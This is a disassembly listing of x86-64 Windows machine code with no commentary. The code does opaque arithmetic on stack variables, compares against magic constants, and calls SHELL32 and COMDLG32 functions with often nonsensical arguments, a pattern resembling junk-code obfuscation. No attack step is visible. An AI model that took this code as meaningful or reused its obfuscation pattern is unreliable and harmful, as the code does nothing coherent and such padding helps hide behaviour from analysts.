movsx ecx, word [rsp + 0x644]
and eax, ecx
mov rcx, qword [rsp + 0x39c0]
mov word [rcx], ax
jmp 0x14000a4ce
movzx eax, word [rsp + 0x7e8]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x39c8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x3a30]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14000a460
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [rsp + 0xde]
add eax, ecx
mov rcx, qword [rsp + 0x3a48]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1400fd001], al
mov dword [rsp + 0x20], 0x72
lea r9, [rsp + 0xdc]
mov r8, qword [rsp + 0x3bc0]
mov rdx, qword [rsp + 0x3a80]
mov rcx, qword [rsp + 0x39a0]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x1d40], eax
movzx eax, word [rsp + 0x7e8]
movzx ecx, word [rsp + 0x7e0]
sar eax, cl
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1af0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d48], eax
mov rax, qword [0x1400fdf48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
shl eax, cl
movsx ecx, byte [rsp + 0xda]
mov rdx, qword [rsp + 0x3a90]
movsx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
jge 0x14000a619
mov rax, qword [0x1400fdf40]
mov rcx, qword [rsp + 0x37f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3bd0]
mov rdx, qword [rsp + 0x38d0]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jae 0x14000a5cc
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov dword [rsp + 0x1ec0], eax
cmp dword [rsp + 0x1ec0], 0x52ce
je 0x14000a567
cmp dword [rsp + 0x1ec0], 0x5343
je 0x14000a5a9
jmp 0x14000a5ca
mov rax, qword [rsp + 0x3bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3ac0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b90]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x3a38]
movzx ecx, word [rax]
call fcn.1400e3770
nop
jmp 0x14000a5ca
xor r8d, r8d
lea rdx, [rsp + 0x3bd8]
lea rcx, [rsp + 0x3858]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0x3be0], rax
jmp 0x14000a619
mov eax, dword [rsp + 0x1d2c]
mov ecx, dword [rsp + 0x1e64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3850]
mov edx, dword [rsp + 0x1d28]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jg 0x14000a619
mov rax, qword [rsp + 0x3980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x39f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3b40]
mov edx, dword [rsp + 0x1af0]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
ja 0x1400e2ac5
mov eax, dword [rsp + 0x1e64]
mov dword [rsp + 0x1ec4], eax
cmp dword [rsp + 0x1ec4], 0
je 0x14000a699
cmp dword [rsp + 0x1ec4], 0x3f0a4669
je 0x14000a673
jmp 0x14000a736
lea r9, [rsp + 0x3930]
lea r8, [rsp + 0x1e30]
mov edx, 0x84
mov ecx, SHGetNewLinkInfoW
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
nop
jmp 0x14000a736
mov rax, qword [rsp + 0x37d8]
mov qword [rsp + 0x3be8], rax
movabs rax, 0x646762eda3e8cfb0
cmp qword [rsp + 0x3be8], rax
je 0x14000a6bf
jmp 0x14000a736
mov eax, dword [rsp + 0x1d28]
mov ecx, dword [rsp + 0x1d38]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x38f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x3bd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x37f0], rax
lea rdx, [rsp + 0x3a20]
lea rcx, [rsp + 0x3838]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x1dc8], eax
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d4c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3b40]
mov dword [rcx], eax
lea rax, [rsp + 0x37d8]
mov qword [rsp + 0x3bf0], rax
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x3b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3b28]
mov rdx, qword [rsp + 0x3910]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x14000a807
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x740]
and eax, ecx
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdd]
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x3b90]
movzx eax, byte [rax]
movzx ecx, byte [section..data]
add eax, ecx
mov rcx, qword [rsp + 0x3a88]
mov byte [rcx], al
mov rax, qword [rsp + 0x37f0]
mov rcx, qword [rsp + 0x39f0]
mov qword [rsp + 0x3bf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3bf8]
mov rax, qword [rax]
shr rax, cl
mov qword [0x1400fd008], rax
lea rax, [rsp + 0x7d4]
mov qword [rsp + 0x3c00], rax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
shl eax, cl
mov rcx, qword [rsp + 0x3b90]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0xdf]
xor ecx, edx
cmp eax, ecx
je 0x14000a923
movsx eax, word [rsp + 0x7d8]
mov dword [rsp + 0x1ec8], eax
cmp dword [rsp + 0x1ec8], 0x3a31
je 0x14000a8fe
cmp dword [rsp + 0x1ec8], 0x5c87
je 0x14000a86b
jmp 0x14000a91e
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x39c0]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [0x1400fd004]
movsx edx, word [rsp + 0x644]
add ecx, edx
cmp eax, ecx
jl 0x14000a8ed
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x740], ax
mov rax, qword [rsp + 0x3810]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x3868]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x3b40]
mov edx, dword [rax]
mov rax, qword [rsp + 0x39c0]
movzx ecx, word [rax]
call fcn.1400e4fb0
nop
jmp 0x14000a8fc
lea rcx, [rsp + 0x3918]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
nop
jmp 0x14000a91e
mov rax, qword [rsp + 0x3850]
mov rcx, qword [rsp + 0x3858]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
jmp 0x14000a9b3
mov rax, qword [rsp + 0x3af8]
mov rcx, qword [rsp + 0x3958]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov rdx, qword [rsp + 0x3870]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jbe 0x14000a9b3
mov rax, qword [0x1400fdf48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3a90]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0xe0]
movsx edx, byte [rsp + 0x68]
sub ecx, edx
cmp eax, ecx
je 0x14000a996
movzx edx, word [rsp + 0x740]
mov rcx, qword [rsp + 0x3870]
call fcn.1400e3a10
nop
jmp 0x14000a9b3
mov rax, qword [rsp + 0x3b40]
mov rcx, qword [rsp + 0x3a78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1e20], eax
mov rax, qword [rsp + 0x3b40]
mov ecx, dword [rsp + 0x1e30]
mov eax, dword [rax]
xor eax, ecx
mov ecx, dword [rsp + 0x1d48]
mov edx, dword [rsp + 0x1ecc]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jb 0x1400e29d4
movsx eax, word [rsp + 0x7d8]
mov dword [rsp + 0x1ed0], eax
cmp dword [rsp + 0x1ed0], 0
je 0x14000aa0f
cmp dword [rsp + 0x1ed0], 0x6bba
je 0x14000aac5
jmp 0x14000aba6
mov rax, qword [rsp + 0x3858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d38]
sub ecx, eax
mov eax, ecx
mov dword [0x1400fd010], eax
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
mov byte [rsp + 0x1ed4], al
cmp byte [rsp + 0x1ed4], 0
je 0x14000aa86
cmp byte [rsp + 0x1ed4], 0x27
je 0x14000aa52
jmp 0x14000aac0
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe2]
sub eax, ecx
mov byte [rsp + 0xdd], al
lea rcx, [rsp + 0x15960]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0x39f8], rax
jmp 0x14000aac0
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7e4], ax
movsx eax, word [rsp + 0x644]
movsx ecx, word [rsp + 0x7d8]
sub eax, ecx
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
jmp 0x14000aba6
mov rax, qword [0x1400fdf58]
mov rcx, qword [rsp + 0x3b88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3bc8]
mov rdx, qword [rsp + 0x3b48]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jne 0x14000ab5e
mov rax, qword [rsp + 0x3980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
lea rcx, [rsp + 0x15e30]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x1e60], eax
mov eax, dword [rsp + 0x1e20]
mov rcx, qword [rsp + 0x3b28]
mov qword [rsp + 0x3c08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1d4c], eax
mov rax, qword [rsp + 0x38f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x38d8]
mov qword [rsp + 0x3c10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c10]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
lea rcx, [rsp + 0x15bb0]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x1d40], eax
mov rax, qword [rsp + 0x3bc8]
mov rcx, qword [rsp + 0x3bf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3b88], rax
movzx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0x3a30]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3c00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe1], al
mov eax, dword [rsp + 0x1eb0]
sub eax, 0x62
mov dword [rsp + 0x1eb0], eax
movsx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x3a90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1400fdf48]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
sub eax, ecx
mov byte [rsp + 0xe2], al
movsx eax, byte [0x1400fd001]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov eax, dword [rsp + 0x1dd4]
mov ecx, dword [rsp + 0x1d2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e64], eax
mov rax, qword [rsp + 0x3bf0]
mov rcx, qword [rsp + 0x3b20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3870]
mov rcx, qword [rsp + 0x3958]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
mov eax, dword [rsp + 0x1e20]
mov ecx, dword [rsp + 0x1d4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d8]
add eax, ecx
mov word [rsp + 0x740], ax
mov rax, qword [rsp + 0x3a48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xde]
sar eax, cl
mov byte [rsp + 0xdf], al
movsx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1400fdf48]
mov byte [rcx], al
movzx eax, byte [rsp + 0xde]
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3b90]
mov byte [rcx], al
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x7dc], ax
mov rax, qword [rsp + 0x38f0]
mov ecx, dword [rsp + 0x1d28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1d2c], eax
mov rax, qword [rsp + 0x3b48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3908]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3b88], rax
mov rax, qword [rsp + 0x37f0]
mov rcx, qword [0x1400fd008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1af0]
mov dword [rsp + 0x1ecc], eax
mov rax, qword [rsp + 0x3a48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
cmp dword [rsp + 0x1eb0], 0xd72
jae 0x14000aba6
mov rax, qword [rsp + 0x3a48]
movzx eax, byte [rax]
mov byte [rsp + 0x1ed8], al
cmp byte [rsp + 0x1ed8], 0x5a
je 0x14000ae55
jmp 0x14000af58
mov rax, qword [rsp + 0x3a50]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x7e8]
movzx edx, byte [rsp + 0xdb]
mov rax, qword [rsp + 0x3868]
movzx ecx, byte [rax]
call fcn.1400e4f60
nop
mov rax, qword [rsp + 0x3a38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x39c0]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
je 0x14000af04
movsx eax, byte [rsp + 0xe0]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [0x1400fdf48]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7e4], ax
lea rcx, [rsp + 0x15a60]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x1edc], eax
mov rax, qword [rsp + 0x3860]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e0]
sub eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
mov eax, dword [rsp + 0x1e48]
movzx ecx, al
mov eax, dword [rsp + 0x1d48]
shr eax, cl
mov dword [rsp + 0x1d64], eax
lea rcx, [rsp + 0x15ec0]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x1edc], eax
jmp 0x14000b037
mov rax, qword [rsp + 0x3870]
mov qword [rsp + 0x3c18], rax
mov rax, qword [rsp + 0x3ba8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3a10]
shl rax, cl
mov rcx, qword [rsp + 0x3b48]
mov qword [rcx], rax
lea rax, [rsp + 0x1d28]
mov qword [rsp + 0x3c20], rax
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
mov dword [rsp + 0x1ee0], eax
cmp dword [rsp + 0x1ee0], 0
je 0x14000afba
jmp 0x14000b017
movsx eax, byte [rsp + 0xdd]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe0], al
movsx eax, word [rsp + 0x7dc]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov word [rcx], ax
mov rax, qword [rsp + 0x3858]
mov eax, dword [rax]
mov dword [0x1400fdf60], eax
movzx eax, byte [rsp + 0xe1]
mov byte [rsp + 0xe3], al
jmp 0x14000b037
mov rax, qword [rsp + 0x3a30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7d4]
and eax, ecx
mov rcx, qword [rsp + 0x3a30]
mov word [rcx], ax
mov rax, qword [rsp + 0x39c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e8]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
lea rax, [rsp + 0x644]
mov qword [rsp + 0x3c28], rax
mov rax, qword [rsp + 0x3bf0]
mov rcx, qword [rsp + 0x3ac0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x37d8], rax
cmp dword [rsp + 0x1e70], 0x6f37
je 0x14000b219
mov rax, qword [rsp + 0x3858]
mov ecx, dword [rsp + 0x1d38]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1e64], eax
mov rax, qword [rsp + 0x3b28]
mov ecx, dword [rsp + 0x1af0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x39f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3bd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1400fdf50]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x39c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3a30]
mov word [rcx], ax
mov rax, qword [0x1400fdf48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov eax, dword [rsp + 0x1e70]
add eax, 0x15
mov dword [rsp + 0x1e70], eax
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x644]
add eax, ecx
mov rcx, qword [rsp + 0x3c28]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x3a90]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x39f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3980]
mov qword [rsp + 0x3c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c30]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1d28]
movzx ecx, al
mov eax, dword [rsp + 0x1e64]
shl eax, cl
mov rcx, qword [rsp + 0x38f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3988]
mov rcx, qword [rsp + 0x3910]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3a78]
mov dword [rcx], eax
jmp 0x14000b085
mov rax, qword [rsp + 0x3ba8]
mov rcx, qword [rsp + 0x3b20]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x37d8], rax
lea rax, section..data
mov qword [0x1400fdf68], rax
movzx eax, byte [rsp + 0xdf]
mov byte [rsp + 0x1ee4], al
cmp byte [rsp + 0x1ee4], 3
je 0x14000b272
cmp byte [rsp + 0x1ee4], 0xe6
je 0x14000b360
movzx eax, word [rsp + 0x7e8]
movzx ecx, word [rsp + 0x7d4]
and eax, ecx
mov word [rsp + 0x7e0], ax
mov rax, qword [rsp + 0x3858]
mov rcx, qword [rsp + 0x3c20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x38f0]
mov rdx, qword [rsp + 0x3850]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
je 0x14000b340
movzx eax, word [rsp + 0x7e8]
mov dword [rsp + 0x3274], eax
cmp dword [rsp + 0x3274], 0xd3c
je 0x1400e29f5
jmp 0x1400e2aa0
mov rax, qword [rsp + 0x39f0]
mov rcx, qword [rsp + 0x3af8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x54
lea r9, [rsp + 0x3a88]
lea r8, [rsp + 0x7e4]
mov edx, 0x41
mov rcx, qword [rsp + 0x3ac8]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x1f20], eax
mov rax, qword [rsp + 0x3b20]
mov rcx, qword [rsp + 0x3a10]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
and eax, ecx
mov byte [rsp + 0xde], al
movzx edx, word [rsp + 0x7e4]
movzx ecx, word [rsp + 0x7e4]
call fcn.1400e4b00
nop
jmp 0x1400e2ac0
movsx eax, word [rsp + 0x644]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x39c0]
mov word [rcx], ax
jmp 0x1400e2bc8
movsx eax, word [rsp + 0x7dc]
mov dword [rsp + 0x3278], eax
cmp dword [rsp + 0x3278], 0x42ae
je 0x1400e2ae6
jmp 0x1400e2ba6
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xda], al
mov dword [rsp + 0x20], 0xca
mov r9d, PathYetAnotherMakeUniqueName
lea r8, [rsp + 0x16540]
mov edx, 0xd3
mov rcx, qword [rsp + 0x3bc0]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x1ecc], eax
movsx eax, byte [rsp + 0xda]
movsx ecx, byte [rsp + 0xdd]
xor eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x6f
lea r9, [rsp + 0x37f8]
mov r8d, 0xd1
lea rdx, [rsp + 0x3840]
lea rcx, [rsp + 0x3808]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x1eac], eax
mov rax, qword [rsp + 0x39f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3958]
and rcx, rax
mov rax, rcx
mov qword [0x1400fdf40], rax
jmp 0x1400e2bc8
mov rax, qword [rsp + 0x3b10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a48]
mov byte [rcx], al
mov rax, qword [rsp + 0x38f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1d2c]
shl eax, cl
mov dword [rsp + 0x1d38], eax
movzx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3a88]
mov byte [rcx], al
jmp 0x1400e2c41
movsx eax, word [rsp + 0x740]
movsx ecx, word [rsp + 0x7d8]
sub eax, ecx
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
lea rdx, [rsp + 0x644]
lea rcx, [rsp + 0x38d8]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x3bd8], rax
mov rax, qword [rsp + 0x3b20]
mov rax, qword [rax]
mov qword [rsp + 0x158a0], rax
movabs rax, 0x1d9c145865b5a1ef
cmp qword [rsp + 0x158a0], rax
je 0x1400e2c6c
jmp 0x1400e2c85
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x39c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7d4]
and eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
lea rdx, [rsp + 0x3838]
lea rcx, [rsp + 0x1d28]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x1eb8], eax
jmp 0x1400e2d9f
mov rdx, qword [rsp + 0x3aa0]
mov rcx, qword [rsp + 0x158a8]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0x3a70], rax
movzx r9d, word [rsp + 0x7d4]
movzx r8d, word [rsp + 0x7e0]
movzx edx, byte [rsp + 0xde]
mov rax, qword [0x1400fdf48]
movzx ecx, byte [rax]
call fcn.1400e4f60
nop
movzx eax, word [rsp + 0x7e4]
mov dword [rsp + 0x327c], eax
cmp dword [rsp + 0x327c], 0x10b
je 0x1400e2d2d
jmp 0x1400e2d2f
jmp 0x1400e2d4b
movsx eax, byte [rsp + 0xdd]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe0], al
movzx eax, word [rsp + 0x7e4]
movzx ecx, word [rsp + 0x7e0]
sub eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
lea rax, [rsp + 0x3898]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x38f0]
lea r8, [rsp + 0x1d64]
mov edx, 0x90
lea rcx, [rsp + 0x16160]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x1d24], eax
mov rax, qword [rsp + 0x3a30]
movzx eax, word [rax]
mov dword [rsp + 0x3280], eax
cmp dword [rsp + 0x3280], 0xfed
je 0x1400e2dc3
jmp 0x1400e2e6e
movsx eax, word [rsp + 0x7dc]
mov rcx, qword [rsp + 0x3a38]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x39c0]
mov word [rcx], ax
lea r9, [rsp + 0x37f0]
lea r8, [rsp + 0x1de8]
lea rdx, [rsp + 0x16160]
lea rcx, [rsp + 0x7e0]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x1d3c], eax
mov eax, dword [rsp + 0x1d38]
mov ecx, dword [rsp + 0x1dd4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3980]
mov rcx, qword [rsp + 0x39f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3870], rax
movzx eax, byte [rsp + 0xdc]
mov rcx, qword [rsp + 0x3a88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a48]
mov byte [rcx], al
jmp 0x1400e2e8d
mov rax, qword [rsp + 0x3a90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xda], al
jmp 0x1400e3015
mov rax, qword [rsp + 0x3988]
mov ecx, dword [rsp + 0x1e30]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3910]
mov edx, dword [rsp + 0x1d48]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
ja 0x1400e2f47
mov rax, qword [rsp + 0x3858]
mov rcx, qword [rsp + 0x3850]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
